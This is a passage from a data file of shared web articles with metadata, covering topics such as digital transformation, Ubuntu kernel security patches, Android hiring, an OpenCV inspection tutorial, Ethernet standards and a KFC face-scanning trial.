transformation and what should, ideally, be shared internally through a project document or playbook. 1) A north star Attendees felt that for digital transformation to be successful, the digital team should know what they want to accomplish. That is, what does the digitally transformed organisation look like? While the answer to this broad question will be different for every company, participants provided some questions which they asked themselves while going through digital transformation: Can we use our existing data resources to attract more business digitally? Is ecommerce only for the website, or can we offer an in-store digital purchasing experience? Is it possible for us to use customer data to personalise the delivery experience? Should we provide ongoing customer service with social media? The point of having this vision, or a 'north star' as one participant put it, is that the result of digital transformation should be company-wide adoption of digital technology and processes . For this to happen, marketers should be clear about what needs to be changed and how these changes will be made operational. Just saying 'we will improve sales with big data' won't work, noted one participants. 2) The road map Agreeing on a goal is a good start for a transformation process, but attendees said that organisations should also know how they are going to get there. Many delegates who had been through digital transformation felt that a phased approach was best . Summarised by Neil Perkin in a recent presentation , a multi-stage approach starts with digital resources dispersed throughout an organisation and then arranges them into digital 'centres of excellence'. This allows companies with limited digital resources to start digital initiatives across the organisation via a single team. Then, as transformation progresses, resources will be relocated throughout the organisation to support digital programmes on an ongoing basis. Participants warned that dispersing resources was difficult, though, as digital experts preferred to work in small digitally-savvy teams. Because of this, the roadmap should also include training existing staff during the transformation process. 3) Team members Apart from whether the organisation will have centres of excellence or take another approach, delegates said that the digital transformation plan should be clear about who will be on the digital team. Some organisations built teams with existing staff from IT, marketing, and the call centre while others hired people specifically for the digital transformation programme. For those who are hiring, attendees felt that it was important to make the team structure clear during the hiring process and to discuss the career paths for those who join. Reason being that once the transformation is underway, hires with strong digital expertise will need to know whether they will be responsible for ongoing maintenance. Letting them know whether they will or not sets correct expectations from the start and will help keep them on board and motivated. 4) Success metrics In addition to having an overall goal for the digital transformation effort, the digital team should also have some everyday 'success metrics'. These should be clear and achievable goals so that the team can see incremental progress toward the digital goal and regularly celebrate small wins. Some ideas for potential success metrics included the number of in-store digital sign-ups, an increase in revenue from digital, and a reduction in calls to the call centre. One attendee pointed out that each success metric should be tied to some digital team activity so that they can be certain of their role in the small win. For example, they should measure calls to the call centre before and after they rearrange the customer service web page so that they know that their efforts made a difference. 5) 'Customer hygiene' factors Finally, marketers channeled the Hippocratic Oath and said that a digital transformation project should first and foremost 'do no harm'. To make that happen, they argued, the digital transformation plan needs to include 'customer hygiene' factors. These are things which may not necessarily make customers happy, but if they are not present, then customers will certainly be unhappy. Examples of customer hygiene factors include: Ease of purchase (online and offline) High availability of customer service Perks for customer loyalty Sensible customer care policies (returns, refunds, etc.) Attendees agreed that all digital initiatives should improve the existing customer experience at all touchpoints and avoid having 'increasing efficiency' as the main goal. Doing so could result in negative customer feedback for digital transformation initiatives and risk the support of the business for the programme. A word of thanks Econsultancy would like to thank all of the marketers who participated on the day and the moderator for the Digital Transformation: People, Process & Technology table, Caitlin Nguyen, Global Lead for Digital & CRM at Fonterra. We hope to see you all at future Singapore Econsultancy events!",en
1484230118,CONTENT SHARED,167668355036921406,-6730258785244938562,-8042913280855249113,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.sempreupdate.com.br/2017/01/canonical-libera-patches-de-seguranca-para-os-sistemas-ubuntu-12-04-14-04-16-04-16-10-e-derivados.html,"Canonical libera patches de segurança para os sistemas Ubuntu 12.04, 14.04, 16.04, 16.10 e derivados","Usuários do Ubuntu e derivados devem atualizar o seu sistema. Há pouco tempo, a Canonical liberou o primeiro pacote de correções de segurança para todas as versões do Ubuntu e seus derivados . Segundo o anuncio da empresa, foram detectados quatro problemas que afetam o Ubuntu 14.04 LTS (Trusty Tahr) , três falhas que afetam o Ubuntu 16.04 LTS (Xenial Xerus) , e duas falhas que afetam as versões Ubuntu 12.04 LTS (Precise Pangolin) e Ubuntu 16.10 (Yakkety Yak) . A primeira vulnerabilidade ( CVE-2016-9756 ) afetou todas as versões e foi descoberta por Dmitry Vyukov na implementação do KVM do kernel Linux, que não pôde inicializar corretamente, permitindo que um invasor local expusesse informações confidenciais da memória do kernel. Afetando as versões Ubuntu 12.04 LTS , Ubuntu 14.04 LTS e Ubuntu 16.04 LTS , a segunda falha de segurança ( CVE-2016-9794 ) é uma condição de corrida, descoberta por Baozeng Ding, no sistema de som ALSA (Advanced Linux Sound Architecture) do kernel Linux, que poderia causar uma negação de serviço por meio de um usuário local. A terceira falha de segurança ( CVE-2016-9793 ) afetou as versões Ubuntu 14.04 LTS , Ubuntu 16.04 LTS e Ubuntu 16.10 . Foi descoberta por Andrey Konovalov e está relacionada a chamada setsockopt () do kernel Linux, que poderia permitir que um invasor local travasse o sistema através de uma negação de serviço. Por último, há uma falha no Ubuntu 14.04 LTS ( CVE-2016-9806 ), descoberta por Baozeng Ding, na função netlink_dump () do kernel Linux, que poderia permitir a um atacante local travar o sistema por meio de uma negação de serviço. Dessa vez não há escalonamento remoto, então essas falhas de segurança não são tão ruins. Mesmo assim, você deve atualizar sua instalação Ubuntu ou derivado o mais breve possível. Para atualizar o sistema, basta utilizar dois comandos simples que estarão logo abaixo: [sudo apt update] [sudo apt upgrade]",pt
1484231249,CONTENT SHARED,8302949268716967655,-4465926797008424436,5920817461981142302,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2978.4 Safari/537.36",SP,BR,HTML,https://hackernoon.com/what-makes-a-good-android-software-engineer-206562e1fdb6?gi=2e62296e58fa,What makes a good (Android) Software Engineer,"For the past five years, I have been building stuff on Android. During this time, I have collaborated with engineers from different backgrounds and with different experience levels. Some engineers came from an enterprise background with years and years of experience, while some were just fresh out of college and the only thing they knew was what they learned in the university/college and their experience building mobile apps in their free time. Some people did not even get a formal CS education and are self taught. During this time, I have seen what each engineer of the above categories were capable of delivering and how they were delivering it. So, if you are hiring a so-called: Android Software Engineer for your company, read this article. Why? Because, at first, mobile app development is mistakenly perceived as being easy. After all, a mobile app is merely about putting together different pages that just outputs whatever a monolith backend asks it to output. Right? This couldn't be further from the truth. In fact, if you look at the quality of the apps on the PlayStore , you will notice that the distribution of the apps by their quality describes a Gaussian distribution : There are a few very poor apps, just as few very good apps a LOT of mediocre apps. Let me try to define what I mean by mediocrity here: At the very fundamental level, a mediocre mobile app is one that does not cooperate well with the environment (platform/OS) it is running on. First, it does not comply with the visual language defined by the platform and therefore it confuses users. Second, it does not integrate the fact that it is running in a constrained environment (memory, CPU, network bandwidth, battery) and therefore it ruins the user experience of the entire device. Third, it just doesn't work under certain conditions (faulty network for example). This final point is global to the majority of softwares out there. In a nutshell, the three points above sum up the challenges of building good mobile apps. On top of that, the app needs to integrate properly with your company infrastructure and it has to be coded with a huge volume of constantly evolving business domain problems. Therefore, if I had to hire a Software Engineer to work on these challenges today, this is what I would look for: Decent software engineering and Craftmanship skills. That includes topics like: SOLID principles, writing clean code, application architecture and testing. Data-structures and Algorithms are important too, but I would not hold against a candidate if s/he does not know how to balance a BST. I definitely care though whether the candidate knows at least the basic data-structures (Lists, Queues, Trees, Hash Maps...), understand what the Big-O notation is and be able to talk about time vs memory tradeoff. See? Just the basic stuff. Proficiency in Java (though if the candidate is outstanding and knows another language very well, I would not hold it against her/him). Understanding of concurrency. Because the apps need to be responsive, it is important not to perform any long running task on the event thread. That means, that a lot of things will need to be performed on a separate thread. If the candidate does not know the challenges of building concurrent apps, chances are they will learn about it on the job and in production ! High level understanding of distributed systems. As mobile apps need to become more and more responsive, they will inherently be designed with an offline first approach. That means, that as the network can be faulty, the app can be in different states for the same user. Hence, the need to know about the CAP Theorem and the notion of consensus in distributed systems. Ability to analyze problems and solve them. Does the candidate know how to think through a problem, uncover all the unknowns unknowns, discover all the paths leading to a solution, comparing them one against another, come up with a plan to implement the solution. Ability to describe the tech stack of their current company. It is important that you hire candidates who are curious about how things work and who understand the importance of knowing the big picture. Good verbal and writing skills. In technology, communication is key . It is crucial that the candidates know how to convey their ideas clearly, as well as the importance of properly documenting their work. Also, chances are that their writing skills represent a good indicator of their ability to write good code. Understanding of the current technological context and how they affect design and engineering. Finally, I would not worry about how much the candidate knows about the SDK itself. As long as: the candidate is good with most of the above concepts, the candidate knows the Android platform as a user at least and is motivated by mobility in general and finally the candidate is a fast learner. That being said, if you are lucky enough to find a candidate that has both a great CS background and pretends to know the Android development ecosystem, make sure they understand some fundamental concepts. Such concepts include (not exhaustive): Ability to draw on the board, what, at a high level the Android architecture looks like. Ability to describe, at a high level, what happens when you hit the build button on Android Studio. Ability to describe, at a high level, what happens when you install an application on the device. Basic understanding of how Dalvik and ART VMs work. How Inter-Process-Communication works on Android. How apps are sandboxed and why it matters. The permission models (how permissions are granted at a low level). Processes and application lifecycle. Another good rule of thumb is to challenge, heavily, the candidate on a topic that s/he is good at. If that's UI, then cover that extensively. As you can see the emphasis is put on verifying that the candidates know the core fundamentals and concepts that indicates whether they can adapt to any set of problems that you might throw at them. For crying out loud, don't hire a candidate just because they know how to use one or two libraries. You don't want to hire library users , but engineers who not only can use them when necessary (better not reinvent the wheel of course), but are also able to take a step back, analyse the situation, foresee problems way before they arise and provide solutions which are unique to the problem set you are having. For crying out loud, don't hire a candidate just because they know how to use one or two libraries. As Montaigne said: ""J'aime mieux une tête bien faite, qu'une tête bien pleine"" ( which can be translated as : ""I prefer a sharp mind over a full one""). Of course, the candidate I am describing here is a rather senior one. You can, and you should, also hire junior engineers. But in that case, make sure that you keep a good ratio between junior and senior engineers in your organization. If you have a team mostly composed of junior engineers, you are in for a tumultuous journey as your team will learn a lot of things on the job, fixing one critical production bug after another, iterating over and over again until they can get a decent maintainable and testable code base etc.",en
1484238875,CONTENT SHARED,3086800924266336392,3609194402293569455,6788410661228152117,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.b9.com.br/69845/inovacao/veja-como-funciona-o-assistente-da-adobe-que-faz-edicoes-com-comandos-de-voz/,Veja como funciona o assistente da Adobe que faz edições com comandos de voz,"A Adobe demonstrou essa semana um assistente que realiza edições sem a necessidade de um mouse ou um teclado. Ele entende comandos de voz e executa as ações, como recorte e mudança de orientação. No clipe acima a empresa mostra como ele funciona. Como é possível ver no vídeo, o assistente ainda está basicamente nas fases iniciais do desenvolvimento. Não é possível ainda fazer edições avançadas em fotos - ou ao menos a Adobe preferiu não demonstrar essas opções ainda. Mas é desnecessário dizer que com certeza ele deve contar com outras operações igualmente simples. E com isso, economizar algum tempo, talvez. De qualquer forma, é um assistente que não deve substituir o bom e velho conjunto do olho humano com o teclado e mouse ou mesa digitalizadora. Pelo menos quando se tratar de edições trabalhosas e detalhadas.",pt
1484243491,CONTENT SHARED,5037403311832115000,-2726721797588771398,-9161862406528748079,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.51 Safari/537.36",NJ,US,HTML,http://www.prnewswire.com/news-releases/cognizant-named-a-digital-transformation-leader-in-the-life-science-industry-300389906.html,Cognizant Named a Digital Transformation Leader in the Life Science Industry,"""Traditional business models are giving way to a new, digital economy where the agile enterprises embracing digital systems and technologies are the winners,"" said Krish Venkat , President, Healthcare and Life Sciences at Cognizant. ""Cognizant's mission is to enable clients to make technology more efficient, including applying cloud-based platforms, automating processes, and creating meaningful customer experiences. Together, we're bringing ideas to implementation in areas like digital patient engagement, outcome-based service delivery models, and even a paperless intensive care unit. Being recognized as a Leader in digital transformation by the IDC MarketScape is a reflection of our deep understanding of the life science industry and our continued investment and innovation in IoT, analytics, and cloud, social, mobile, and platform solutions."" ""Digital transformation is occurring rapidly in the life science industry, across both the manufacturing and supply chain, and the sales and marketing spaces,"" said Mike Townsend , Research Manager for Life Science Business Systems Strategies at IDC. ""As manufacturing IT platforms have migrated to the cloud, IoT and mobile devices are proliferating, helping connect far-flung manufacturing and supply chain partners in real time. New regulatory requirements, coupled with the globalization of manufacturing, have accelerated the need to digitally transform manufacturing and supply chain processes."" Townsend continued, ""Similarly, digital transformation is imperative for sales and marketing organizations. Internal and external sources of data are being collected in the cloud, and this information is being leveraged to improve speed, efficiency, and effectiveness in reaching both healthcare providers and patients. Partnering with technology vendors such as Cognizant, with expertise in transforming business processes and leveraging digital competencies, is critical for life science companies for improved outcomes, growth, and productivity."" Cognizant Delivers Winning Digital Solutions for Manufacturing and Supply Chain Clients The IDC MarketScape: Worldwide Life Science Manufacturing and Supply Chain Digital Transformation 2016 Vendor Assessment (doc #US40510516, September, 2016) analyzes 11 consulting and digital transformation service providers worldwide, evaluating their ability to deliver services that utilize or combine digital information or processes, and on the proportion of revenue generated by life science engagements. In the report, Cognizant was rated highly for project budget performance and for its experience in digital transformation throughout the supply chain, implementing IoT, smart manufacturing and monitoring, and smart analytics solutions that improve the quality, visibility, lead times and security of the supply chain. By coupling industry-specific supply chain and manufacturing experience with a broad range of technology capabilities to create and deliver effective digital solutions, Cognizant's Life Science and Medical Devices practice focuses on understanding the unique challenges facing clients today such as evolving global serialization and track and trace regulations, new health care delivery models, and an increasing focus on operating efficiencies driven by global pricing pressures. To read an excerpt of the report, visit: Cognizant Drives Digital Transformation of Sales and Marketing Organizations The IDC Marketscape: Worldwide Life Science Sales and Marketing Digital Transformation 2016 Vendor Assessment (doc #US40510716, July 2016) analyzes 13 vendors around the world participating in digital transformation of sales and marketing in the life science industry. Vendors are rated on current capabilities, future strategies, and the proportion of revenue derived by life science engagements. In the report, Cognizant was rated highly for life sciences industry expertise, with particular emphasis on its digital asset management platforms. The IDC MarketScape study characterizes Cognizant as an innovative partner, citing Cognizant's integrated approach for supporting sales and marketing digital transformation. By combining the creative and design experience of a marketing agency with deep domain knowledge, commercial data analytics, data sciences capabilities, and global distribution centers for delivery execution, Cognizant enables life science organizations to better connect with patients, physicians, providers, payers and policy regulators. Leveraging its investments in platforms to enable digital transformation, Cognizant offers life science enterprises its commercial operations platform OpSERV; the data management platform BigDecisions Sales Analytics; and its brand analytics platform REVEAL, among others. To read an excerpt of the report, visit: To learn more about Cognizant's Life Sciences expertise, visit: . About IDC MarketScape IDC MarketScape vendor analysis model is designed to provide an overview of the competitive fitness of ICT (information and communications technology) suppliers in a given market. The research methodology utilizes a rigorous scoring methodology based on both qualitative and quantitative criteria that results in a single graphical illustration of each vendor's position within a given market. IDC MarketScape provides a clear framework in which the product and service offerings, capabilities and strategies, and current and future market success factors of IT and telecommunications vendors can be meaningfully compared. The framework also provides technology buyers with a 360 degree assessment of the strengths and weaknesses of current and prospective vendors. About Cognizant Cognizant (NASDAQ: CTSH ) is a leading provider of information technology, consulting, and business process services, dedicated to helping the world's leading companies build stronger businesses. Headquartered in Teaneck, New Jersey (U.S.), Cognizant combines a passion for client satisfaction, technology innovation, deep industry and business process expertise, and a global, collaborative workforce that embodies the future of work. With over 100 development and delivery centers worldwide and approximately 255,800 employees as of September 30, 2016, Cognizant is a member of the NASDAQ-100, the S&P 500, the Forbes Global 2000, and the Fortune 500 and is ranked among the top performing and fastest growing companies in the world. Visit us online at www.cognizant.com or follow us on Twitter: Cognizant . To view the original version on PR Newswire, visit: SOURCE Cognizant Related Links",en
1484310295,CONTENT SHARED,-340541651592032197,3609194402293569455,-4642144323861325474,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://software.intel.com/en-us/blogs/2015/11/03/relating-a-problem-definition-to-intel-iot-architecture,Relating a Problem Definition to IoT Architecture | Intel® Software,"Lets face it, the largest function within IoT is problem resolution. IoT solutions are perfect to implement in hundreds of ways within any industry. However, many developers that envision awesome IoT based solutions run into issues since they failed to properly define the scope of the problem they wish to solve.",en
1484321076,CONTENT SHARED,-2034054811536485879,3609194402293569455,-4642144323861325474,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.embarcados.com.br/aplicacao-de-visao-computacional-com-opencv/,Aplicação de visão computacional com OpenCV,"Visão computacional é a visão de máquinas, é possível obter informações de imagens, sejam elas astronômicas, microscópicas ou em tamanho natural, podemos utilizar algoritmos computacionais para descrever e analisar o conteúdo de qualquer imagem digitalizada. Essa prática é cada vez mais comum na indústria no controle de qualidade de processos e orientação de robôs, a visão computacional é capaz de realizar análises com precisão e velocidades que o olho humano não poderia alcançar, traz um novo leque de possibilidades como navegação de veículos autônomos, descoberta de novos planetas e análises biológicas em células. Sobre o projeto Um sistema de visão computacional para identificar e analisar biscoitos em tempo real, desenvolvido com software livre e neste caso voltado para uso educacional. Funcionamento do sistema O sistema de visão computacional utiliza uma câmera digital, uma iluminação uniforme tipo domo e um computador com software para processar e analisar as imagens. O software utiliza técnicas de processamento de imagens que são como os filtros do photoshop, os filtros têm o objetivo de tratar as imagens, retirar o fundo (background) e deixar o objeto com o melhor contraste possível e sem ruídos que possam atrapalhar a análise geométrica. Após filtrada a imagem, temos uma imagem binária, uma imagem preto e branco somente com a forma do objeto, chamamos essa imagem binária de máscara e é nela que o software irá realizar as análises de padrões geométricos. Primeiro o software verifica a presença do biscoito na imagem pela cor/tom com uma função simples e rápida chamada trigger, depois se houver a presença detectada do objeto a imagem passa por filtros é retirada a máscara e em seguida passa para análise do padrão geométrico que vai identificar as peças boas e ruins e ao final o resultado é mostrado na tela em tempo real. OpenCV - Biblioteca aberta de visão computacional da Intel OpenCV é a principal biblioteca de código aberto para a visão computacional, processamento de imagem e aprendizagem de máquina, e agora apresenta a aceleração de GPU para operação em tempo real. OpenCV é liberado sob uma licença de BSD e daqui é livre para o uso acadêmico e comercial. Possui interfaces C++, C, Python e Java e suporta Windows, Linux, Mac OS, iOS e Android. OpenCV foi projetado para eficiência computacional e com um forte foco em aplicações em tempo real. Escrito em C/C++ otimizado, a biblioteca pode aproveitar o processamento multi-core. Adotado em todo o mundo, OpenCV tem mais de 47 mil pessoas da comunidade de usuários e número estimado de downloads superior a 6 milhões. O uso varia de arte interativa, a inspeção de minas, costura mapas na web ou através de robótica avançada. Documentação oficial do OpenCV . Recomendo a leitura da documentação oficial do OpenCV para aprendizado e consulta! Considero que você possui conhecimentos em programação, tem o OpenCV instalado e testou alguns, ou todos os exemplos dele em C++ e Python e fez um hello world com CMAKE. Esse tutorial é de nível intermediário, apesar da simplicidade do código, é necessário algum conhecimento mas qualquer um pode aprender seguindo a documentação. Vamos apresentar a utilização do OpenCV em um projeto realtime simples, completo e de baixo custo. Esse projeto poderá ser modificado para muitos outros casos de inspeção visual de objetos e sua arquitetura é fruto de anos de pesquisa e desenvolvimento para obter o melhor desempenho e manter a simplicidade do código com menor custo possível. Funcionamento algoritmo básico: Parametrização, antes de capturar a imagem é necessário configurar a câmera, resolução, fps, tempo de exposição e ganho do sensor manual. 1 - Captura - abrir conexão, primeiro vamos abrir uma conexão com a câmera para imagem ser capturada. 1.0 - Conexão da câmera, este passo ocorre fora do loop principal, na inicialização do sistema: 1.1 Captura de frame , esta função é um loop e roda dentro de uma thread independente, aqui utilizei um mutex que tem a função de impedir que a imagem seja acessada simultaneamente por duas threads, pois a frame é uma variável tipo global e é utilizada por duas threads. 2 - Detecção , uma função simples e rápida que verifica se o objeto existe na frame capturada! A detecção ou trigger é uma área retangular no centro da imagem que testa a média da cor/tom. Se a comparação for verdadeira a frame capturada contém o objeto e podemos inspecioná-la. 3 - Pré-processamento , Esta etapa é muito importante, é onde filtramos a imagem cinza e transformamos em uma máscara, ou seja, uma imagem binária preto e branco, onde o objeto é branco e o fundo preto. 3.1 Canal - Escolho entre os canais de cor RGB o que melhor representa o objeto 3.2 Canal R - Os canais RGB, são imagens em tons de cinza com profundidade de 8 bits cada, neste caso escolhemos o RED que contém a melhor informação dos tons do biscoito, note que ele é cinza mas representa o vermelho de 0 á 100% na imagem colorida. 3.3 Threshold - Função que binariza a imagem, ou seja, transforma uma imagem em tons de cinza em uma imagem preto e branco, note que ainda existem alguns ruídos na imagem. 3.4 Cleanup - Remoção de ruídos (Reduz a imagem na metade do tamanho, passa filtros de transformação morfológica de abrir e fechar e depois a mplia a imagem para o tamanho original). Após esses passos eliminam se os ruídos e temos uma imagem mais uniforme. Essa operação está dentro da função processing. 4- Inspeção / análise , Após o objeto ser detectado, a frame filtrada e transformada em máscara é chamada a função de inspeção, que vai analisar a geometria do objeto. Essa função analisa a máscara e verifica se o objeto é convexo, (possui todos os cantos arredondados) e valida as dimensões do objeto. Podemos medir a área, perímetro, altura e largura. 4.1 Contornos , é uma função que transforma a máscara binária em linhas ou contornos. 4.2 - Aproximação poligonal , transforma as linhas em um polígono com ajustes de precisão do comprimento das linhas. Essa precisão é chamada epsilon. 5 - Resultado , Após a análise temos o resultado e podemos mostrar os contornos na tela com cores verde e vermelho indicando passa ou falha e em um sistema completo acionar uma saída digital de rejeito de defeitos. Existem diversas maneiras de analisar imagens, com muitos outros algoritmos como por exemplo ORB, AKAZE e SURF. Neste caso nós utilizamos análise geométrica básica, que é um código simples, leve e eficiente. Na maioria das aplicações é necessário otimizar o código ao máximo para atingir alta velocidade de inspeção com precisão e segurança. Materiais utilizados no teste Fonte 12V, Fita Led, Bola de Isopor, pseye, um suporte de abajur de mesa e uma mesa giratória com fundo de EVA preto para simular o movimento da esteira. Montagem da iluminação domo, feita com meia bola de isopor e fita led, a lente da câmera fica no centro do domo, os leds apontam para dentro do domo, esta iluminação é difusa, utilizada para evitar reflexo e obter uma iluminação uniforme. Funciona bem próximo ao objeto a ser inspecionado. Observações Em projetos industriais utilizamos equipamentos industriais de alto desempenho e precisão, como as câmeras inteligentes da COGNEX, que possuem processadores dedicados com software próprio, iluminações como as da ADVANCED ILLUMINATION e lentes de alta qualidade, para realizar inspeções em linhas de alta velocidade com precisão e repetibilidade, além de conexão com robôs e outros equipamentos industriais. É possível utilizar este software com câmeras industriais, mas é necessário fazer a integração! Nosso objetivo aqui é fornecer um ambiente de estudos de visão computacional de baixo custo com materiais simples e promover o uso de software livre para fins educacionais! Isso é o mais simples que posso fazer, não é utilizado para fins industriais e sim para estudos! Repositório do projeto para download Vocês podem baixar o exemplo completo neste repositório . Vídeo Existe uma versão em Python e uma em C++ para este projeto. Espero que gostem! Téc eletrônica/ automação da manufatura P&D em visão computacional",pt
1484321367,CONTENT SHARED,-6444494220871855741,-4028919343899978105,5195779277161351081,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.techtudo.com.br/noticias/noticia/2016/10/novo-padrao-de-rede-cabeada-oferece-ate-5-gbps-de-velocidade-para-internet.html,Novo padrão de rede cabeada pode oferecer até 5 Gbps transferência de dados,"Um novo padrão para redes cabeadas, que promete melhorar a transmissão de dados, recebeu aprovação internacional do Instituto de Engenheiro Eletricistas e Eletrônicos (IEEE) nesta semana. Conhecido como '802.3bz-2016, 2.5G / 5GBASE-T', o novo padrão pode variar entre 2,5 Gbps a 5 Gbps de velocidade, superior aos 1 Gbps das redes mais comuns. Lembrando que o IEEE também tem representação no Brasil. MTU: entenda como recurso do roteador afeta velocidade da Internet Um dos diferenciais da tecnologia é que ela não necessita de um cabo especial para chegar a essas taxas de transferência. Com o novo padrão é possível atingir 2,5 Gbps com cabos Cat 5e e a velocidade máxima com os cabos Cat 6. Novo padrão funciona em cabos Cat 5e e Cat 6 (Foto: Divulgação) Download grátis do app do TechTudo : receba dicas e notícias de tecnologia no Android ou iPhone O novo padrão foi desenvolvido para ser um meio termo entre as redes de 1 Gbps e as de 10 Gigabit Ethernet, que necessitam de cabeamento especial - consequentemente mais caro - e são mais comuns em ambientes corporativos, como em data centers e servidores. Os pesquisadores conseguiram desenvolver uma tecnologia semelhante às redes 10GBASE-T, porém com uma largura de banda menor - entre 100 MHz e 200 MHz, contra 400 MHz. Com isso, os cabos não necessitam de uma blindagem de alta qualidade, permitindo o uso de cabos Cat 5e, comuns em redes domésticas, e Cat 6. Atualmente, as redes domésticas contam com equipamentos - roteadores e placas de rede - que podem atingir em torno de 1 Gbps de taxa de transferência. Por outro lado, as redes Wi-Fi que utilizam o protocolo AC podem chegar a mais de 6 Gbps. Com o novo padrão, a taxa de transferência de dados dentro da rede cabeada será mais do que o dobro da atual. Assim, a troca de grandes arquivos, como filmes em 4K, ou o acesso a NAS ( Network Attached Storage ), para armazenar arquivos em uma rede de computadores, será muito mais rápido. Lembrando que isso não influenciará na velocidade da Internet, que depende do provedor contratado. No entanto, o padrão 2.5G/5GBASE-T ainda deve demorar algum tempo até se tornar popular, visto que ainda são vendidos roteadores sem portas Gigabit. Qual roteador comprar? Comente no Fórum do TechTudo.",pt
1484325733,CONTENT SHARED,-9020955625521881630,3609194402293569455,-4642144323861325474,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2017/01/kfc-chines-adota-robo-que-escaneia-clientes-para-sugerir-menu/,KFC chinês adota robô que escaneia clientes para sugerir menu - Startupi,"Um restaurante de uma rede de fast-food em Pequim instalou uma tecnologia que escaneia o rosto dos clientes e, de acordo com os dados obtidos, sugere um menu, uma tecnologia que seus criadores esperam disponibilizar a outros tipos de comércio. O novo sistema, estabelecido de maneira experimental em um estabelecimento do KFC na capital chinesa, foi desenvolvido pelo gigante tecnológico local Baidu, conhecido no país pelos serviços de busca na internet. ""Quando um cliente entra no restaurante, o sistema pode, de acordo com seu rosto, adivinhar sua idade, se é homem ou mulher, e analisar sua personalidade: se é aberto, se é tímido. Desta maneira, pode recomendar um determinado menu para ele"", comentou à Agência Efe o engenheiro Qiao Shi, que trabalha para o Baidu. A rede de fast-food se mostra reticente para explicar qual cardápio corresponde a cada tipo de pessoa, argumentando que depende de muitos fatores. Em um dos primeiros testes, foi sugerido a um homem de 30 anos uma refeição econômica e de poucas calorias, com sopa em vez de hambúrgueres. Mais tarde, uma menina de 20 anos, definida pela scanner como ""apaixonada"", recebeu um cardápio muito mais calórico, com hambúrguer, asas de frango, refrigerante e até uma sobremesa, mas o cliente sempre tem a última palavra e pode escolher outras opções. O KFC, a primeira rede de fast-food a chegar na China, onde em 2017 completa 30 anos, não parece se preocupar se os clientes têm sobrepeso ou não ao sugerir uma refeição, já que a inteligência artificial, pelo menos por enquanto, não calcula a massa corporal. O especialista do Baidu explicou que a companhia começou a desenvolver esta tecnologia há anos e que o KFC é a primeira rede de restaurantes a disponibilizar o serviço aos clientes. Segundo Qiao, o sistema já é utilizado em bancos e seguradoras da China para confirmar a identidade e ter estatísticas de sexo, idade e outros parâmetros dos clientes, sem o objetivo de oferecer produtos. No entanto, segundo o engenheiro do Baidu, em breve a tecnologia poderá ser utilizada como ""conselheira"" em lojas de roupa, e a empresa já conversa com várias marcas e estabelecimentos de moda para aplicá-la. ""Será possível instalar nelas um sistema similar, no qual serão recomendadas diferentes peças de acordo com o rosto das pessoas. Às vezes há muitas roupas nessas lojas e um cliente não consegue escolher a adequada"", analisou. O Baidu, o ""Google chinês"", trabalha em diferentes campos da inteligência artificial e recentemente apresentou na convenção de tecnologia CES de Las Vegas (EUA) um assistente digital alternativo ao Alexa, da Amazon, à Siri, da Apple, e ao Google Assistant. Segundo os desenvolvedores, esse assistente, chamado ""Xiaoyu Zaijia"" (que pode ser traduzido como ""Peixinho""), é menos dependente da tela que os de Amazon e Google, respondendo a comandos de voz com uma combinação de imagens, texto e som.",pt
1484326596,CONTENT SHARED,-5823398424129440733,3609194402293569455,-4642144323861325474,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2017/01/13/walkme-acquires-abbi-io-to-add-mobile-ab-testing-and-engagement/,WalkMe acquires Abbi.io to add mobile A/B testing and engagement,"After raising $50 million last year on a $400 million valuation, WalkMe - a company that offers on-screen site guidance and engagement analytics - has made an acquisition to beef up its presence in mobile. The startup has acquired Abbi , specialists in mobile A/B testing and app engagement (""Abbi"" is both a reference to A/B testing and BI, business intelligence). Terms of the deal were not disclosed. Abbi, based out of Israel like WalkMe (which has another HQ in San Francisco) had only raised around $1 million in funding . Dan Adika, the co-founder and CEO of WalkMe, told TechCrunch that WalkMe will be retiring the Abbi brand and integrating its services into WalkMe's platform. In the process, it will also be migrating Abbi's existing customers. (Currently WalkMe already has some 1,000 larger enterprises and ""thousands"" of small and medium businesses using its services, including MasterCard, PayPal, Pandora, BT, Unilever, Prudential, Panasonic, U.S. Postal Service, Sony, State Farm, Comcast, IBM, Microsoft, Wells Fargo, Home Depot, HP, J.P. Morgan Chase, Verizon, and Toyota.) In an interview, Adika told TechCrunch that the company had been on the hunt for a bold-on acquisition that could let WalkMe further expand the kinds of services it offers from basic web to mobile, both to cover the needs of existing customers but also to snag more mobile-only properties. Abbi interested WalkMe because as Adika saw it, Abbi was addressing the biggest challenge for mobile developers today: ""The focus has shifted from trying to get downloads, to getting usage of the actual app,"" he said. The problem with a lot of app engagement platforms is that they don't usually take into account enough specifics about the user and environment in which he or she is seeing a piece of content. ""Depending on your location, you can have a completely different user experience,"" he said. ""You could end up seeing the opposite of what you want at a particular moment."" Abbi uses a variety of machine learning and AI techniques to find those right moments. The company said that it collects some 300 session parameters per second and correlates those with the piece of content that it might show you (whether its an offer for a product, or a suggestion of an app you might like, or something within the app that might interest you), and it also uses those parameters and resulting big data lookalike profiling to develop a profile of your own ""emotional sentiment"" at a given moment. It also provides predictive analytics to give you an idea of how to target future audiences. This goes hand-in-hand with how WalkMe has grown and evolved its own business. Starting out originally as a piece of software that let web developers create walk-through guides for their sites or services, WalkMe has more recently been using that same product as a 